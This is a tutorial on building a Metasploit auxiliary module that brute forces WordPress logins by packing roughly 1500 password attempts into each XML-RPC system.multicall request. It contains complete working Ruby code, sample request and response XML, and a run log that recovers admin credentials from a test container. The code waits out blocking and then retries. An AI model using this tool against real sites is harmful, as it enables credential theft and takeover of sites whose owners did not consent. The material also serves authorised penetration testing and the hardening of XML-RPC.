Auxiliary module

Scanner

Basic Scanner modules

WordPress XML-RPC Massive Brute Force

WordPress CMS framework support XML-RPC service to interact with almost all functions in the framework. Some functions require authentication. The main issues lies in the you can authenticate many times within the same request. WordPress accepts about 1788 lines of XML request which allows us to send tremendous number of login tries in a single request. So how awesome is this? Let me explain.

Imagine that you have to brute force one user with 6000 passwords? How many requests you have to send in the normal brute force technique? It’s 6000 requests. Using our module will need to 4 requests only of you use the default CHUNKSIZE which is 1500 password per request!!!. NO MULTI-THREADING even you use multi-threading in the traditional brute force technique you’ll send 6000 request a few of its are parallel.

  1. <?xml version="1.0"?>
  2. <methodCall>
  3. <methodName>system.multicall</methodName>
  4. <params>
  5.  <param><value><array><data>
  8.   <value><struct>
  9.   <member>
  10.     <name>methodName</name>
  11.     <value><string>wp.getUsersBlogs</string></value>
  12.   </member>
  13.   <member>
  14.     <name>params</name><value><array><data>
  15.      <value><array><data>
  16.       <value><string>"USER #1"</string></value>
  17.       <value><string>"PASS #1"</string></value>
  18.      </data></array></value>
  19.     </data></array></value>
  20.   </member>
  22.   ...Snippet...
  24.   <value><struct>
  25.   <member>
  26.     <name>methodName</name>
  27.     <value><string>wp.getUsersBlogs</string></value>
  28.   </member>
  29.   <member>
  30.     <name>params</name><value><array><data>
  31.      <value><array><data>
  32.       <value><string>"USER #1"</string></value>
  33.       <value><string>"PASS #N"</string></value>
  34.      </data></array></value>
  35.     </data></array></value>
  36.   </member>
  39. </params>
  40. </methodCall>

So from above you can understand how the XML request will be build. Now How the reply will be?
To simplify this we’ll test a single user once with wrong password another with correct password to understand the response behavior

wrong password response

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <methodResponse>
  3.   <params>
  4.     <param>
  5.       <value>
  6.         <array>
  7.           <data>
  8.             <value>
  9.               <struct>
  10.                 <member>
  11.                   <name>faultCode</name>
  12.                   <value>
  13.                     <int>403</int>
  14.                   </value>
  15.                 </member>
  16.                 <member>
  17.                   <name>faultString</name>
  18.                   <value>
  19.                     <string>Incorrect username or password.</string>
  20.                   </value>
  21.                 </member>
  22.               </struct>
  23.             </value>
  24.           </data>
  25.         </array>
  26.       </value>
  27.     </param>
  28.   </params>
  29. </methodResponse>

We noticed the following

  • <name>faultCode</name>
  • <int>403</int>
  • <string>Incorrect username or password.</string>

Usually we rely one the string response ‘Incorrect username or password.‘, but what if the WordPress language wasn’t English? so the best thing is the integer response which is 403

correct password response

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <methodResponse>
  3.   <params>
  4.     <param>
  5.       <value>
  6.         <array>
  7.           <data>
  8.             <value>
  9.               <array>
  10.                 <data>
  11.                   <value>
  12.                     <array>
  13.                       <data>
  14.                         <value>
  15.                           <struct>
  16.                             <member>
  17.                               <name>isAdmin</name>
  18.                               <value>
  19.                                 <boolean>1</boolean>
  20.                               </value>
  21.                             </member>
  22.                             <member>
  23.                               <name>url</name>
  24.                               <value>
  25.                                 <string>http://172.17.0.3/</string>
  26.                               </value>
  27.                             </member>
  28.                             <member>
  29.                               <name>blogid</name>
  30.                               <value>
  31.                                 <string>1</string>
  32.                               </value>
  33.                             </member>
  34.                             <member>
  35.                               <name>blogName</name>
  36.                               <value>
  37.                                 <string>Docker wordpress</string>
  38.                               </value>
  39.                             </member>
  40.                             <member>
  41.                               <name>xmlrpc</name>
  42.                               <value>
  43.                                 <string>http://172.17.0.3/xmlrpc.php</string>
  44.                               </value>
  45.                             </member>
  46.                           </struct>
  47.                         </value>
  48.                       </data>
  49.                     </array>
  50.                   </value>
  51.                 </data>
  52.               </array>
  53.             </value>
  54.           </data>
  55.         </array>
  56.       </value>
  57.     </param>
  58.   </params>
  59. </methodResponse>

We noticed that long reply with the result of called method wp.getUsersBlogs

Awesome, right?

The tricky part is just begun! Since we will be sending thousands of passwords in one request and the reply will be rally huge XML files, how we’ll find the position of the correct credentials? The answer is, by using the powerful ruby iteration methods, particularly each_with_index method.

Enough talking, show me the code!

What do we want?

  • Create Auxiliary module
  • Deal with Web Application
  • Deal with WordPress
  • Describe The module
  • Let people know we created this module
  • Add references about the vulnerability that we exploit
  • Options to set the target URI, port, user, pass list.
  • Read username and password lists as arrays
  • Build/Generate XML file takes a user and iterate around the passwords
  • Check if target is running WordPress
  • Check if target enabling RPC
  • Setup the HTTP with XML POST request
  • Parse XML request and response
  • Find the exact correct credentials
  • Check if we got blocked
  • Parsing the result and find which password is correct
  • Check if the module has been written correctly (msftidy.rb)

Steps

  • Create Auxiliary module
  • Deal with Web Application
  • Deal with WordPress
  • Describe The module
  • Let people know we created this module
  • Add references about the vulnerability that we exploit
  • Options to set the target URI, port, user, pass list.
  1. ##
  2. # This module requires Metasploit: http://www.metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  6. require 'msf/core'
  8. class Metasploit3 < Msf::Auxiliary
  9.   include Msf::Exploit::Remote::HttpClient
  10.   include Msf::Exploit::Remote::HTTP::Wordpress
  12.   def initialize(info = {})
  13.     super(update_info(
  14.             info,
  15.             'Name'         => 'WordPress XML-RPC Massive Brute Force',
  16.             'Description'  => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
  17.             'License'      => MSF_LICENSE,
  18.             'Author'       =>
  19.                 [
  20.                   'Sabri (@KINGSABRI)',           # Module Writer
  21.                   'William (WCoppola@Lares.com)'  # Module Requester
  22.                 ],
  23.             'References'   =>
  24.                 [
  25.                   ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
  26.                   ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
  27.                 ]
  28.           ))
  30.     register_options(
  31.         [
  32.           OptString.new('TARGETURI', [true, 'The base path', '/']),
  33.           OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
  34.                                       File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
  35.           OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
  36.                                       File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
  37.           OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
  38.           OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
  39.         ], self.class)
  40.   end
  41. end
  • Read username and password lists as arrays 
  1.   def usernames
  2.     File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
  3.   end
  5.   def passwords
  6.     File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
  7.   end
  • Build/Generate XML file takes a user and iterate around the passwords
  1.   #
  2.   # XML Factory
  3.   #
  4.   def generate_xml(user)
  6.     vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
  7.     xml_payloads = []                          # Container for all generated XMLs
  8.     # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
  9.     passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
  11.       document = Nokogiri::XML::Builder.new do |xml|
  12.         xml.methodCall {
  13.           xml.methodName("system.multicall")
  14.           xml.params {
  15.           xml.param {
  16.           xml.value {
  17.           xml.array {
  18.           xml.data {
  20.         pass_group.each  do |pass|
  21.           xml.value {
  22.           xml.struct {
  23.           xml.member {
  24.           xml.name("methodName")
  25.           xml.value { xml.string("wp.getUsersBlogs") }}
  26.             xml.member {
  27.             xml.name("params")
  28.             xml.value {
  29.             xml.array {
  30.             xml.data {
  31.             xml.value {
  32.             xml.array {
  33.               xml.data {
  34.                 xml.value { xml.string(user) }
  35.                 xml.value { xml.string(pass) }
  36.           }}}}}}}}}
  37.         end
  39.           }}}}}}
  40.       end
  42.       xml_payloads << document.to_xml
  43.     end
  45.     vprint_status('Generating XMLs just done.')
  46.     xml_payloads
  47.   end
  • Check if target is running WordPress
  • Check if target enabling RPC
  1.   #
  2.   # Check target status
  3.   #
  4.   def check_wpstatus
  5.     print_status("Checking #{peer} status!")
  7.     if !wordpress_and_online?
  8.       print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
  9.       nil
  10.     elsif !wordpress_xmlrpc_enabled?
  11.       print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
  12.       nil
  13.     else
  14.       print_status("Target #{peer} is running WordPress")
  15.       true
  16.     end
  18.   end
  • Setup the HTTP with XML POST request
  1.   #
  2.   # Connection Setup
  3.   #
  4.   def send(xml)
  5.     uri  = target_uri.path
  6.     opts =
  7.       {
  8.         'method'  => 'POST',
  9.         'uri'     => normalize_uri(uri, wordpress_url_xmlrpc),
  10.         'data'    => xml,
  11.         'ctype'   =>'text/xml'
  12.       }
  13.     client = Rex::Proto::Http::Client.new(rhost)
  14.     client.connect
  15.     req  = client.request_cgi(opts)
  16.     res  = client.send_recv(req)
  18.     if res && res.code != 200
  19.       print_error('It seems you got blocked!')
  20.       print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
  21.       sleep datastore['BLOCKEDWAIT'] * 60
  22.     end
  23.     @res = res
  24.   end
  • Parse XML request and response
  • Find the exact correct credentials
  • Check if we got blocked
  • Parsing the result and find which password is correct 
  1.   def run
  2.     return if check_wpstatus.nil?
  4.     usernames.each do |user|
  5.       passfound = false
  7.       print_status("Brute forcing user: #{user}")
  8.       generate_xml(user).each do |xml|
  9.         next if passfound == true
  11.         send(xml)
  13.         # Request Parser
  14.         req_xml = Nokogiri::Slop xml
  15.         # Response Parser
  16.         res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
  17.         puts res_xml
  18.         res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
  20.           result =  value.at("struct/member/value/int")
  21.           # If response error code doesn't not exist, then it's the correct credentials!
  22.           if result.nil?
  23.             user = req_xml.search("data/value/array/data")[i].value[0].text.strip
  24.             pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
  25.             print_good("Credentials Found! #{user}:#{pass}")
  27.             passfound = true
  28.           end
  30.         end
  32.         unless user == usernames.last
  33.           vprint_status('Sleeping for 2 seconds..')
  34.           sleep 2
  35.         end
  37.       end 
  38.     end 
  39.   end

Wrapping up

  1. ##
  2. # This module requires Metasploit: http://www.metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  6. require 'msf/core'
  8. class Metasploit3 < Msf::Auxiliary
  9.   include Msf::Exploit::Remote::HttpClient
  10.   include Msf::Exploit::Remote::HTTP::Wordpress
  12.   def initialize(info = {})
  13.     super(update_info(
  14.             info,
  15.             'Name'         => 'WordPress XML-RPC Massive Brute Force',
  16.             'Description'  => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
  17.             'License'      => MSF_LICENSE,
  18.             'Author'       =>
  19.                 [
  20.                   'Sabri (@KINGSABRI)',           # Module Writer
  21.                   'William (WCoppola@Lares.com)'  # Module Requester
  22.                 ],
  23.             'References'   =>
  24.                 [
  25.                   ['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
  26.                   ['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
  27.                 ]
  28.           ))
  30.     register_options(
  31.         [
  32.           OptString.new('TARGETURI', [true, 'The base path', '/']),
  33.           OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
  34.                                       File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
  35.           OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
  36.                                       File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
  37.           OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
  38.           OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
  39.         ], self.class)
  40.   end
  42.   def usernames
  43.     File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
  44.   end
  46.   def passwords
  47.     File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
  48.   end
  50.   #
  51.   # XML Factory
  52.   #
  53.   def generate_xml(user)
  55.     vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
  56.     xml_payloads = []                          # Container for all generated XMLs
  57.     # Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
  58.     passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
  60.       document = Nokogiri::XML::Builder.new do |xml|
  61.         xml.methodCall {
  62.           xml.methodName("system.multicall")
  63.           xml.params {
  64.           xml.param {
  65.           xml.value {
  66.           xml.array {
  67.           xml.data {
  69.         pass_group.each  do |pass|
  70.           xml.value {
  71.           xml.struct {
  72.           xml.member {
  73.           xml.name("methodName")
  74.           xml.value { xml.string("wp.getUsersBlogs") }}
  75.             xml.member {
  76.             xml.name("params")
  77.             xml.value {
  78.             xml.array {
  79.             xml.data {
  80.             xml.value {
  81.             xml.array {
  82.               xml.data {
  83.                 xml.value { xml.string(user) }
  84.                 xml.value { xml.string(pass) }
  85.           }}}}}}}}}
  86.         end
  88.           }}}}}}
  89.       end
  91.       xml_payloads << document.to_xml
  92.     end
  94.     vprint_status('Generating XMLs just done.')
  95.     xml_payloads
  96.   end
  98.   #
  99.   # Check target status
  100.   #
  101.   def check_wpstatus
  102.     print_status("Checking #{peer} status!")
  104.     if !wordpress_and_online?
  105.       print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
  106.       nil
  107.     elsif !wordpress_xmlrpc_enabled?
  108.       print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
  109.       nil
  110.     else
  111.       print_status("Target #{peer} is running WordPress")
  112.       true
  113.     end
  115.   end
  117.   #
  118.   # Connection Setup
  119.   #
  120.   def send(xml)
  121.     uri  = target_uri.path
  122.     opts =
  123.       {
  124.         'method'  => 'POST',
  125.         'uri'     => normalize_uri(uri, wordpress_url_xmlrpc),
  126.         'data'    => xml,
  127.         'ctype'   =>'text/xml'
  128.       }
  129.     client = Rex::Proto::Http::Client.new(rhost)
  130.     client.connect
  131.     req  = client.request_cgi(opts)
  132.     res  = client.send_recv(req)
  134.     if res && res.code != 200
  135.       print_error('It seems you got blocked!')
  136.       print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
  137.       sleep datastore['BLOCKEDWAIT'] * 60
  138.     end
  139.     @res = res
  140.   end
  142.   def run
  143.     return if check_wpstatus.nil?
  145.     usernames.each do |user|
  146.       passfound = false
  148.       print_status("Brute forcing user: #{user}")
  149.       generate_xml(user).each do |xml|
  150.         next if passfound == true
  152.         send(xml)
  154.         # Request Parser
  155.         req_xml = Nokogiri::Slop xml
  156.         # Response Parser
  157.         res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
  158.         puts res_xml 
  159.         res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
  161.           result =  value.at("struct/member/value/int")
  162.           # If response error code doesn't not exist
  163.           if result.nil?
  164.             user = req_xml.search("data/value/array/data")[i].value[0].text.strip
  165.             pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
  166.             print_good("Credentials Found! #{user}:#{pass}")
  168.             passfound = true
  169.           end
  171.         end
  173.         unless user == usernames.last
  174.           vprint_status('Sleeping for 2 seconds..')
  175.           sleep 2
  176.         end
  178.   end end end
  179. end
  • Check if the module has been written correctly (msftidy.rb)
  1. metasploit-framework/tools/dev/msftidy.rb wordpress_xmlrpc_massive_bruteforce.rb

Run it

  1. msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > show options 
  3. Module options (auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce):
  5.    Name         Current Setting                                                                 Required  Description
  6.    ----         ---------------                                                                 --------  -----------
  7.    BLOCKEDWAIT  6                                                                               yes       Time(minutes) to wait if got blocked
  8.    CHUNKSIZE    1500                                                                            yes       Number of passwords need to be sent per request. (1700 is the max)
  9.    Proxies                                                                                      no        A proxy chain of format type:host:port[,type:host:port][...]
  10.    RHOST        172.17.0.3                                                                      yes       The target address
  11.    RPORT        80                                                                              yes       The target port
  12.    TARGETURI    /                                                                               yes       The base path
  13.    VHOST                                                                                        no        HTTP server virtual host
  14.    WPPASS_FILE  /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_pass.txt   yes       File containing passwords, one per line
  15.    WPUSER_FILE  /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_users.txt  yes       File containing usernames, one per line
  17. msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > run
  19. [*] Checking 172.17.0.3:80 status!
  20. [*] Target 172.17.0.3:80 is running WordPress
  21. [*] Brute forcing user: admin
  22. [+] Credentials Found! admin:password
  23. [*] Brute forcing user: manager
  24. [*] Brute forcing user: root
  25. [*] Brute forcing user: cisco
  26. [*] Brute forcing user: apc
  27. [*] Brute forcing user: pass
  28. [*] Brute forcing user: security
  29. [*] Brute forcing user: user
  30. [*] Brute forcing user: system
  31. [+] Credentials Found! system:root
  32. [*] Brute forcing user: sys
  33. [*] Brute forcing user: wampp
  34. [*] Brute forcing user: newuser
  35. [*] Brute forcing user: xampp-dav-unsecure
  36. [*] Auxiliary module execution completed